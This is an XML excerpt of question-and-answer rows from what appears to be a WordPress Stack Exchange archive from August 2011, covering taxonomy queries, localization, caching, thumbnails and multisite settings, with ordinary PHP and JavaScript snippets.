  <row Id="26635" PostTypeId="2" ParentId="26631" CreationDate="2011-08-23T06:24:49.643" Score="0" ViewCount="" Body="&lt;p&gt;You can try something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$querystr = &quot;&#xA;    SELECT COUNT(*)  &#xA;    FROM $wpdb-&amp;gt;posts&#xA;    WHERE $wpdb-&amp;gt;posts.ID = $wpdb-&amp;gt;postmeta.post_id &#xA;    AND $wpdb-&amp;gt;posts.post_status = 'draft' &#xA;    AND $wpdb-&amp;gt;posts.post_type = 'post'&#xA;    ORDER BY $wpdb-&amp;gt;posts.post_date DESC&#xA; &quot;;&#xA;&#xA;$pageposts = $wpdb-&amp;gt;get_results($querystr, OBJECT);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just modify the query to retrieve the posts for the current user.&lt;/p&gt;&#xA;" OwnerUserId="1447" LastActivityDate="2011-08-23T06:24:49.643" />
  <row Id="26636" PostTypeId="2" ParentId="26628" CreationDate="2011-08-23T06:27:34.290" Score="0" ViewCount="" Body="&lt;p&gt;You should have a look at &lt;a href=&quot;http://codex.wordpress.org/AtomPub&quot; rel=&quot;nofollow&quot;&gt;AtomPub&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;AtomPub allows you to connect to your blog with an AtomPub-enabled&#xA;  client and publish, update and delete posts and media files remotely,&#xA;  without needing to log in to the administration section directly.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1447" LastActivityDate="2011-08-23T06:27:34.290" />
  <row Id="26637" PostTypeId="2" ParentId="26568" CreationDate="2011-08-23T06:31:16.490" Score="0" ViewCount="" Body="&lt;p&gt; array(&#xA;        'post_type' =&gt; 'show',&#xA;        'relation' =&gt; 'AND',&#xA;        array (&#xA;            'taxonomy' =&gt; 'location',&#xA;            'field' =&gt; 'slug',&#xA;            'terms' =&gt; 'california',&#xA;        ),&#xA;        array(&#xA;            'taxonomy' =&gt; 'genre',&#xA;            'field' =&gt; 'slug',&#xA;            'terms' =&gt; 'comedy',&#xA;        )&#xA;    )&#xA;);&lt;/p&gt;&#xA;&#xA;&lt;p&gt;// Make a new instance of WP_Query&#xA;$query = new WP_Query($args);&lt;/p&gt;&#xA;&#xA;&lt;p&gt;// Make the query&#xA;$query-&gt;query('showposts=5');&lt;/p&gt;&#xA;&#xA;&lt;p&gt;// Test for posts&#xA;if($query-&gt;have_posts())&#xA;{&#xA;    // Loop through posts&#xA;    while($query-&gt;have_posts()) &#xA;    {&#xA;    echo '';&#xA;  the_title();&#xA;    echo '';&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    // Set up the post&#xA;   $query-&amp;gt;the_post();&#xA;&#xA;&#xA;    global $post;&#xA;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;?&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the problem is it shows the posts also from posts &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Result: is something like&#xA;California (Comedy) Posts&#xA;Then the rest posts from the POSTS TYPE&#xA;Post1 &#xA;Post 2&lt;/p&gt;&#xA;" OwnerUserId="8008" LastActivityDate="2011-08-23T06:31:16.490" />
  <row Id="26640" PostTypeId="1" AcceptedAnswerId="26643" CreationDate="2011-08-23T07:31:15.763" Score="0" ViewCount="44" Body="&lt;p&gt;I am creating my first website in wordpress, and I have noticed some strange behavior. The website is really slow on the initial load.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I open the website after some time of inactivity, let's say an hour, the site loads extremely slow, over 5 sec. After that the website is just fast. Even when I close the browser and open again the website stays fast.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I switch to another browser, I have the same problem. Initial load is slow, after that the page works as usual.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know something I could do. I have disabled all plugins and still the same problem, any know what I can do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Profiling with firebug and Yslow is not really an option, because I can not get good results. I can only test this once every hour.&lt;/p&gt;&#xA;" OwnerUserId="7781" LastActivityDate="2011-08-23T10:33:06.167" Title="My website is slow on the initial load" Tags="&lt;optimization&gt;" AnswerCount="2" CommentCount="4" />
  <row Id="26641" PostTypeId="1" CreationDate="2011-08-23T08:00:08.710" Score="0" ViewCount="14" Body="&lt;p&gt;We're about to start localizing a wordpress installation with a highly customized theme and several custom plugins. Unfortunately it is not gettext-ready, and also the original theme is not in English.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would you do this? I'm thinking the best way to do it would be to go through the theme and plugin files, change all static text (currently in Swedish) to gettext-wrapped English, and then do a translation back to Swedish. It sound pretty tedious. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can we just wrap the Swedish in gettext calls and provide an en_US translation? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, any thoughts on tools? WPML, Codestyling Localization, raw poedit, something else? &lt;/p&gt;&#xA;" OwnerUserId="8123" LastActivityDate="2011-08-23T08:06:11.973" Title="localization of theme and plugins to English (originally in another language)" Tags="&lt;translation&gt;&lt;i18n&gt;&lt;l10n&gt;&lt;localization&gt;" AnswerCount="1" />
  <row Id="26642" PostTypeId="2" ParentId="26641" CreationDate="2011-08-23T08:06:11.973" Score="1" ViewCount="" Body="&lt;p&gt;create a language file with the i18n string en_US, also the same procedure how with other languages, if the original is english. WordPress set the language key to en_US, if the key is empty in the wp-config.php.&#xA;Use the plugin Codestyling Localization for easy create the language files inside your WordPress Install.&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2011-08-23T08:06:11.973" CommentCount="2" />
  <row Id="26643" PostTypeId="2" ParentId="26640" CreationDate="2011-08-23T08:06:17.007" Score="0" ViewCount="" Body="&lt;p&gt;Maybe your PHP is running per CGI or FastCGI in a separate process that shuts down after a while of inactivity. Does it change if you register at an &lt;a href=&quot;http://uptime.openacs.org/uptime/about.adp&quot; rel=&quot;nofollow&quot;&gt;uptime monitoring service&lt;/a&gt;?&#xA;A cache plugin like &lt;a href=&quot;http://wordpress.org/extend/plugins/w3-total-cache/&quot; rel=&quot;nofollow&quot;&gt;W3 Total Cache&lt;/a&gt; may help too.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-08-23T08:06:17.007" CommentCount="1" />
  <row Id="26644" PostTypeId="1" CreationDate="2011-08-23T08:06:46.920" Score="0" ViewCount="19" Body="&lt;p&gt;We're about to start working on localization of a highly customized wordpress theme with over 200 php files. We're using git for version control. Are there any particular hints or warnings we should know about? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do we just stick the po/mo files in there with the theme? We're probably going to try to use a tool like WPML or Codestyling Localization. Do they store everything in files or to they mess about with wpdb? &lt;/p&gt;&#xA;" OwnerUserId="8123" LastEditorUserId="8123" LastEditorDisplayName="" LastEditDate="2011-08-23T08:11:54.697" LastActivityDate="2011-08-23T08:26:05.230" Title="Wordpress localization - gettext and git" Tags="&lt;translation&gt;&lt;i18n&gt;&lt;l10n&gt;&lt;localization&gt;" AnswerCount="1" />
  <row Id="26645" PostTypeId="1" AcceptedAnswerId="26652" CreationDate="2011-08-23T08:13:12.703" Score="0" ViewCount="18" Body="&lt;p&gt;I'm looking for a nice way to attach an image as a thumbnail to a category. No plugin that I found does this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a category loop and it would nice to display a category thumbnail, not just the name and description.&lt;/p&gt;&#xA;" OwnerUserId="5244" LastActivityDate="2011-08-23T09:33:44.383" Title="Thumbnail for categories / taxonomies plugin?" Tags="&lt;categories&gt;&lt;thumbnails&gt;" AnswerCount="2" />
  <row Id="26646" PostTypeId="2" ParentId="26644" CreationDate="2011-08-23T08:26:05.230" Score="2" ViewCount="" Body="&lt;p&gt;Use the CS Localization plugin and generate the po/mo files, thats all. Save the file also in the repo of git and ready. The performance of the theme is not so high, if you have the strings inside the php-files, but only so it is possible to create different languages for the themes. mo/po files is also ascii files and its give no problems with git or WP.&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2011-08-23T08:26:05.230" />
  <row Id="26647" PostTypeId="2" ParentId="26598" CreationDate="2011-08-23T08:32:28.597" Score="0" ViewCount="" Body="&lt;p&gt;I like FlexiCache and W3C Total Cache, fine pluginsand work also with APC and Memcache.&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2011-08-23T08:32:28.597" />
  <row Id="26648" PostTypeId="1" CreationDate="2011-05-12T06:10:42.800" Score="1" ViewCount="11" Body="&lt;p&gt;I have installed the canada post module in wordpress 3.1.2 and configured the postal code and the MerchantCPCID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody know how it works it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to know what things should to do after installing the module. What should be done in the code level.&lt;/p&gt;&#xA;" LastActivityDate="2011-08-23T08:34:05.907" Title="Wp e-commerce canada post module integration" Tags="&lt;php&gt;&lt;plugins&gt;" AnswerCount="0" CommentCount="1" />
  <row Id="26649" PostTypeId="2" ParentId="26587" CreationDate="2011-08-23T08:35:19.623" Score="1" ViewCount="" Body="&lt;p&gt;Please check the example of &lt;a href=&quot;http://pastie.org/2412654&quot; rel=&quot;nofollow&quot;&gt;Alex Hempton-Smith&lt;/a&gt;, maybe its help you.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;function urls_of_enqueued_scrips( $handles = array() ) {&#xA;    global $wp_scripts, $wp_styles;&#xA;&#xA;    foreach ( $wp_scripts-&amp;gt;registered as $registered )&#xA;        $script_urls[ $registered-&amp;gt;handle ] = $registered-&amp;gt;src;&#xA;&#xA;    foreach ( $wp_styles-&amp;gt;registered as $registered )&#xA;        $style_urls[ $registered-&amp;gt;handle ] = $registered-&amp;gt;src;&#xA;&#xA;    if ( empty( $handles ) ) {&#xA;&#xA;        $handles = array_merge( $wp_scripts-&amp;gt;queue, $wp_styles-&amp;gt;queue );&#xA;        array_values( $handles );&#xA;&#xA;    }&#xA;&#xA;    $output = '';&#xA;&#xA;    foreach ( $handles as $handle ) {&#xA;&#xA;        if ( !empty( $script_urls[ $handle ] ) )&#xA;            $output .= $script_urls[ $handle ] . ',';&#xA;&#xA;        if ( !empty( $style_urls[ $handle ] ) )&#xA;            $output .= $style_urls[ $handle ] . ',';&#xA;&#xA;    }&#xA;&#xA;    $output = substr( $output, 0, -1 );&#xA;&#xA;    echo $output;&#xA;&#xA;}&#xA;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;script&amp;gt;&#xA;Modernizr.load([&#xA;  {&#xA;    test : Modernizr.inputtypes.number,&#xA;    nope : [&amp;lt;?php urls_of_enqueued_scrips( array('spinbox') ); ?&amp;gt;],&#xA;    complete: function() {&#xA;      jQuery('.html5-number').spinbox();&#xA;    }&#xA;  }&#xA;]);&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="170" LastActivityDate="2011-08-23T08:35:19.623" />
  <row Id="26651" PostTypeId="2" ParentId="26645" CreationDate="2011-08-23T09:01:53.867" Score="1" ViewCount="" Body="&lt;p&gt;I run a few rounds around this topic, and at last, I've found a plugin for this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-category-meta/&quot; rel=&quot;nofollow&quot;&gt;Category Meta Plugin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can add nearly any kind of field to categories and taxonomies as well. &lt;/p&gt;&#xA;" OwnerUserId="4209" LastActivityDate="2011-08-23T09:01:53.867" CommentCount="2" />
  <row Id="26652" PostTypeId="2" ParentId="26645" CreationDate="2011-08-23T09:33:44.383" Score="1" ViewCount="" Body="&lt;p&gt;Use the &lt;a href=&quot;http://wordpress.org/extend/plugins/taxonomy-images/&quot; rel=&quot;nofollow&quot;&gt;plugin Taxonomy Images&lt;/a&gt; by @mfields.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-08-23T09:33:44.383" />
  <row Id="26653" PostTypeId="1" CreationDate="2011-08-23T09:42:30.983" Score="0" ViewCount="14" Body="&lt;p&gt;Currently I'm going to develop my own real estate plugin with following features:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;List item&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Every real estate object has it's own page (like post).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Every real estate object should appear at Google XML sitemap plugin.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Every real estate object have the following properties:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;type: house, flat, investments object etc.&lt;/li&gt;&#xA;&lt;li&gt;country&lt;/li&gt;&#xA;&lt;li&gt;city&lt;/li&gt;&#xA;&lt;li&gt;price&lt;/li&gt;&#xA;&lt;li&gt;area&lt;/li&gt;&#xA;&lt;li&gt;etc.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Administrator should be able to add new countries, cities, real estate objects with properties and multiple images. Also it would be great to have ability to mark real estate objects on Google Maps etc.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Users should be able to filter real estate object by country, city, min &amp;amp; max price, min &amp;amp; max area etc.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;It is my first wordpress plugin working with DB, so I have some questions...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Obviously, that real estate object should be some kind of post. With additional meta fields like: country, city etc. Everything is fine, but how can I filter &quot;real estate object&quot; posts? As meta fields are stored in DB one per row (not one per column), so filtering query will work pretty slow.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is it possible to fetch all available values of meta field with name?&#xA;I will need this feature to build real estate filter bar with contry select box, city select box etc.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Please recommend some wp plugin dev tutorials for: working with post meta fields, working with database (especially fetching with pagination and filter options). &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Please recommend any other plugins doing similar things, so I could take a look at them for best practices.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Sorry for such long questions.&#xA;PS: Sorry for my English.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="8126" LastActivityDate="2011-08-24T08:29:22.967" Title="Plugin with new post type (with own meta fields), filtering this type of posts etc" Tags="&lt;plugins&gt;&lt;plugin-development&gt;" AnswerCount="1" />
  <row Id="26654" PostTypeId="2" ParentId="26598" CreationDate="2011-08-23T10:22:32.697" Score="3" ViewCount="" Body="&lt;p&gt;Static page cache is trade-off of resources for speed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The larger and more complex site is, the more resources it takes to cache it. Since there is &lt;strong&gt;no such thing as unwanted speed&lt;/strong&gt;, static cache of small sized site is one of the best performance improvements possible. Especially on shared hosting where other tweaking options are very limited.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CDN for serving media images is a little more complex:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;It makes static resources load faster, by bringing them closer to the visitors.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It relieves main server from serving static resources, freeing it up for pages and specialized tweaking.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;However on shared hosting you don't care much about offloading tasks. You are already sharing resources with multiple sites and less serving media won't make a difference for server overall. Neither you can tweak server stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Small sites also unlikely to serve enough content to make CDN more cost-efficient than serving from hosting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Overall my perspective is that for small site:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;static page cache is &lt;strong&gt;no-brainer&lt;/strong&gt;;&lt;/li&gt;&#xA;&lt;li&gt;CDN for static is resources is &lt;strong&gt;extra luxury&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-08-23T10:22:32.697" />
  <row Id="26655" PostTypeId="1" AcceptedAnswerId="26669" CreationDate="2011-08-23T10:28:08.203" Score="0" ViewCount="46" Body="&lt;p&gt;I am using timthumb as the image size management script throughout my wordpress site but I just noticed that an empty image tag shows up even when there is no thumbnail.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if(has_post_thumbnail()):&#xA;    $src = wp_get_attachment_image_src( get_post_thumbnail_id($post-&amp;gt;ID), 'full');&#xA;?&amp;gt;&#xA;    &amp;lt;div class=&quot;wp-caption alignright&quot;&amp;gt;&#xA;        &amp;lt;img src=&quot;&amp;lt;?php bloginfo('template_url'); ?&amp;gt;/scripts/timthumb.php?src=&amp;lt;?php echo $src[0]; ?&amp;gt;&amp;amp;w=145&amp;amp;h=80&amp;amp;q=100&amp;amp;zc=1&quot; height=&quot;80&quot; width=&quot;145&quot; alt=&quot;&amp;lt;?php the_title(); ?&amp;gt;&quot; class=&quot;wp-post-image&quot; /&amp;gt;&#xA;        &amp;lt;p class=&quot;wp-caption-text&quot;&amp;gt;&amp;lt;?php the_post_thumbnail_caption(); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am doing it this way because I wanna show the caption whenever it exists. I also tried doing it all in php. I never do it like this, so I'm not sure if it's correct but It also shows the same thing and also echos the template_url before the image.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if(has_post_thumbnail()){&#xA;    $src = wp_get_attachment_image_src( get_post_thumbnail_id($post-&amp;gt;ID), 'full');&#xA;    echo '&amp;lt;div class=&quot;wp-caption alignright&quot;&amp;gt;&#xA;        &amp;lt;img src=&quot;'. bloginfo('template_url') .'/scripts/timthumb.php?src='. $src[0] .'&amp;amp;w=145&amp;amp;h=80&amp;amp;q=100&amp;amp;zc=1&quot; height=&quot;80&quot; width=&quot;145&quot; alt=&quot;'. the_title() .'&quot; class=&quot;wp-post-image&quot; /&amp;gt;&#xA;        &amp;lt;p class=&quot;wp-caption-text&quot;&amp;gt;'. the_post_thumbnail_caption() .'&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;';&#xA;} ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Am I doing something wrong here. That img tag is inside the condition right? Still a broken image place holder is showing up with every post. &lt;em&gt;Image below&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/4rky9.jpg&quot; alt=&quot;broken image placeholder&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone tell me what's wrong with the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I appreciate all the help.&lt;/p&gt;&#xA;" OwnerUserId="7094" LastActivityDate="2011-08-23T12:45:58.237" Title="Show post thumbnail only if it exists using timthumb" Tags="&lt;theme-development&gt;&lt;php&gt;&lt;themes&gt;&lt;post-thumbnails&gt;" AnswerCount="1" CommentCount="5" />
  <row Id="26656" PostTypeId="2" ParentId="26640" CreationDate="2011-08-23T10:33:06.167" Score="0" ViewCount="" Body="&lt;p&gt;One of the typical reasons for such behavior is if you are loading RSS feeds in front-end. Their cache expires and you get very long pause next time, because they need to be fetched over network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Had you isolated the issue to the hosting? Try to replicate it on local server, it will give you more options for troubleshooting - ultimate one being making full profiler dump (with xdebug for example) and analyzing it.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-08-23T10:33:06.167" CommentCount="1" />
  <row Id="26657" PostTypeId="2" ParentId="24552" CreationDate="2011-08-23T10:43:28.530" Score="2" ViewCount="" Body="&lt;p&gt;I don't know what the lang_id option is for. AFAIK it is not part of the core WordPress options. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to check the language of all blogs you could check the blog's own options table for WPLANG, or use the network's WPLANG option (or fail with a locale you need) in a similar way as WordPress' own get_locale() function. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd recommend to check out the WordPress source code. You'll see that the get_bloginfo() function is basically a wrapper for getting options or calling other functions to retrieve the requested data. In the case of the 'language' parameter it calls the get_locale() function which resides in wp-includes/l10n.php &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See:&#xA;&lt;a href=&quot;http://phpxref.ftwr.co.uk/wordpress/nav.html?_functions/index.html&quot; rel=&quot;nofollow&quot;&gt;http://phpxref.ftwr.co.uk/wordpress/nav.html?_functions/index.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the get_locale() function it shows that in order to retrieve the locale/language of a site in a WordPress multisite setup it will:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Check if the locale was set and return this after applying the 'locale' filter &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If the locale variable was not set it will check the WPLANG option in the WordPress default (per-site) options.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If the site's own WPLANG option is empty or does not exists it will check the network's options for the WPLANG option.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If all fails assume the locale is en_US&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="637" LastActivityDate="2011-08-23T10:43:28.530" />
  <row Id="26658" PostTypeId="1" CreationDate="2011-08-23T10:55:56.967" Score="0" ViewCount="21" Body="&lt;pre&gt;&lt;code&gt;$args = array(&#xA;&#xA;'post_type' =&amp;gt; 'shows',&#xA;&#xA;'operator' =&amp;gt; 'AND',&#xA;&#xA;'tax_query' =&amp;gt; array(&#xA;&#xA;             array(&#xA;                  'taxonomy' =&amp;gt; 'location',&#xA;                  'field' =&amp;gt; 'slug',&#xA;                  'term' =&amp;gt; 'california',&#xA;                  ),  &#xA;&#xA;             array(    &#xA;                  'taxonomy' =&amp;gt; 'genre',&#xA;                  'field' =&amp;gt; 'slug',&#xA;                  'term' =&amp;gt; 'comedy',   &#xA;                  )&#xA;    )&#xA;);&#xA;&#xA;$my_query = new WP_Query();&#xA;$my_query-&amp;gt;query($args);&#xA;&#xA;while ( $my_query-&amp;gt;have_posts() ) : $my_query-&amp;gt;the_post();&#xA;&#xA;echo '&amp;lt;li&amp;gt;';&#xA;the_title();&#xA;echo '&amp;lt;/li&amp;gt;';&#xA;&#xA;endwhile;&#xA;&#xA;wp_reset_postdata();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;my taxonomy:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_taxonomy('location',array (&#xA;  0 =&amp;gt; 'shows',&#xA;),array( 'hierarchical' =&amp;gt; true, 'label' =&amp;gt; 'location','show_ui' =&amp;gt; true,'query_var' =&amp;gt; true,'rewrite' =&amp;gt; array('slug' =&amp;gt; 'location'),'singular_label' =&amp;gt; 'location') );&#xA;&#xA;register_taxonomy('genre',array (&#xA;  0 =&amp;gt; 'shows',&#xA;),array( 'hierarchical' =&amp;gt; true, 'label' =&amp;gt; 'genre','show_ui' =&amp;gt; true,'query_var' =&amp;gt; true,'rewrite' =&amp;gt; array('slug' =&amp;gt; 'genre'),'singular_label' =&amp;gt; 'genre') );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;my objective is to display the posts with terms ex. california and comedy, i tried to do the relation but unfortunately no results are displayed&lt;/p&gt;&#xA;" OwnerUserId="8008" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-08-23T11:01:36.767" LastActivityDate="2011-08-23T11:24:28.540" Title="Query Results not being displayed please help" Tags="&lt;custom-taxonomy&gt;" AnswerCount="1" />
  <row Id="26659" PostTypeId="2" ParentId="23619" CreationDate="2011-08-23T11:03:58.030" Score="0" ViewCount="" Body="&lt;p&gt;I would not recommend to change data such as usernames directly in the database, since you might break something.... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having said that I presume you have forgotten to add your new admin username to the site_admins option in your wp_sitemeta database table, therefor you won't see the Network Menu, because your new username is not a site (network) admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NB: Keep in mind the site_admins option is a serialized array!   &lt;/p&gt;&#xA;" OwnerUserId="637" LastActivityDate="2011-08-23T11:03:58.030" />
  <row Id="26660" PostTypeId="2" ParentId="26658" CreationDate="2011-08-23T11:24:28.540" Score="0" ViewCount="" Body="&lt;p&gt;In your loop you only call the title using &lt;code&gt;the_title&lt;/code&gt; if you want to display the terms of the custom taxonomies you need to call them and the easiest way would be to use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_the_term_list&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_the_term_list&lt;/code&gt;&lt;/a&gt; for each taxonomy :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;while ( $my_query-&amp;gt;have_posts() ) : $my_query-&amp;gt;the_post();&#xA;&#xA;echo '&amp;lt;li&amp;gt;';&#xA;the_title();&#xA;echo get_the_term_list( $post-&amp;gt;ID, 'location', 'Location: ', ' ', '' );&#xA;echo &amp;lt;br/&amp;gt;&#xA;echo get_the_term_list( $post-&amp;gt;ID, 'genre', 'Genre: ', ' ', '' );&#xA;echo '&amp;lt;/li&amp;gt;';&#xA;&#xA;endwhile;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-08-23T11:24:28.540" CommentCount="1" />
  <row Id="26661" PostTypeId="2" ParentId="6465" CreationDate="2011-08-23T11:38:16.687" Score="0" ViewCount="" Body="&lt;p&gt;FWIW, we've done something like this where we ARE pulling the data from an external data source. We created custom post types and created functions that are triggered by different wordpress hooks, with the result that we can show everything both up front to site visitors and in wp-admin. The posts are not stored in wpdb, not even as &quot;proxy&quot; posts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it IS possible to do it that way, although we have yet to figure out a way to use the trash can to delete them, and I ended up adding in my own wp-admin pagination links using JQuery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless you have a very good reason to do it this way, I agree with @MathSmath: create a custom post type and store them as &quot;real&quot; wordpress posts. &lt;/p&gt;&#xA;" OwnerUserId="8123" LastActivityDate="2011-08-23T11:38:16.687" />
  <row Id="26662" PostTypeId="2" ParentId="26158" CreationDate="2011-08-23T11:56:03.763" Score="0" ViewCount="" Body="&lt;p&gt;Jigoshop has a lot of filter hooks that if you use them right you can do anything you want (almost), In your case you can use &lt;code&gt;jigoshop_before_shop_loop&lt;/code&gt; action hook to call a function that will check if a the current call is from a taxonomy page (category products) and if so check if its a specific category you want to reorder, and if that is the case set the &lt;code&gt;oderby&lt;/code&gt; parameter  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('jigoshop_before_shop_loop','my_item_order');&#xA;function my_item_order(){&#xA;    global $columns, $post, $per_page, $wp_query;&#xA;    if (is_tax()){&#xA;        $term = get_term_by( 'slug', get_query_var($wp_query-&amp;gt;query_vars['taxonomy']), $wp_query-&amp;gt;query_vars['taxonomy']);&#xA;        if ($term-&amp;gt;ID == 'YOUR_ID'){&#xA;            $wp_query-&amp;gt;query['order_by'] = 'whatever'&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-08-23T11:56:03.763" />
  <row Id="26663" PostTypeId="2" ParentId="24112" CreationDate="2011-08-23T12:12:36.293" Score="1" ViewCount="" Body="&lt;p&gt;I don't think the database schema ever changes so drastically that the versions of wordpress on box 2 + 3 would be prevented from reading from the DB after you've updated on box 1, however it depends what version you are upgrading from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why not set a similar environment locally and test upgrading site 1, while still trying to visit site 2.&lt;/p&gt;&#xA;" OwnerUserId="3282" LastActivityDate="2011-08-23T12:12:36.293" />
  <row Id="26664" PostTypeId="2" ParentId="17582" CreationDate="2011-08-23T12:16:25.307" Score="0" ViewCount="" Body="&lt;p&gt;I would setup two WP installations at:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;/consumers/&lt;/li&gt;&#xA;&lt;li&gt;/business/&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Then you just need to share the theme between the two, adding switch statements to a single installation or trying to amend the rewrite structure can get messy quickly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The example.com homepage can just be a simple HTML page allowing the customer to link between the two.&lt;/p&gt;&#xA;" OwnerUserId="3282" LastActivityDate="2011-08-23T12:16:25.307" />
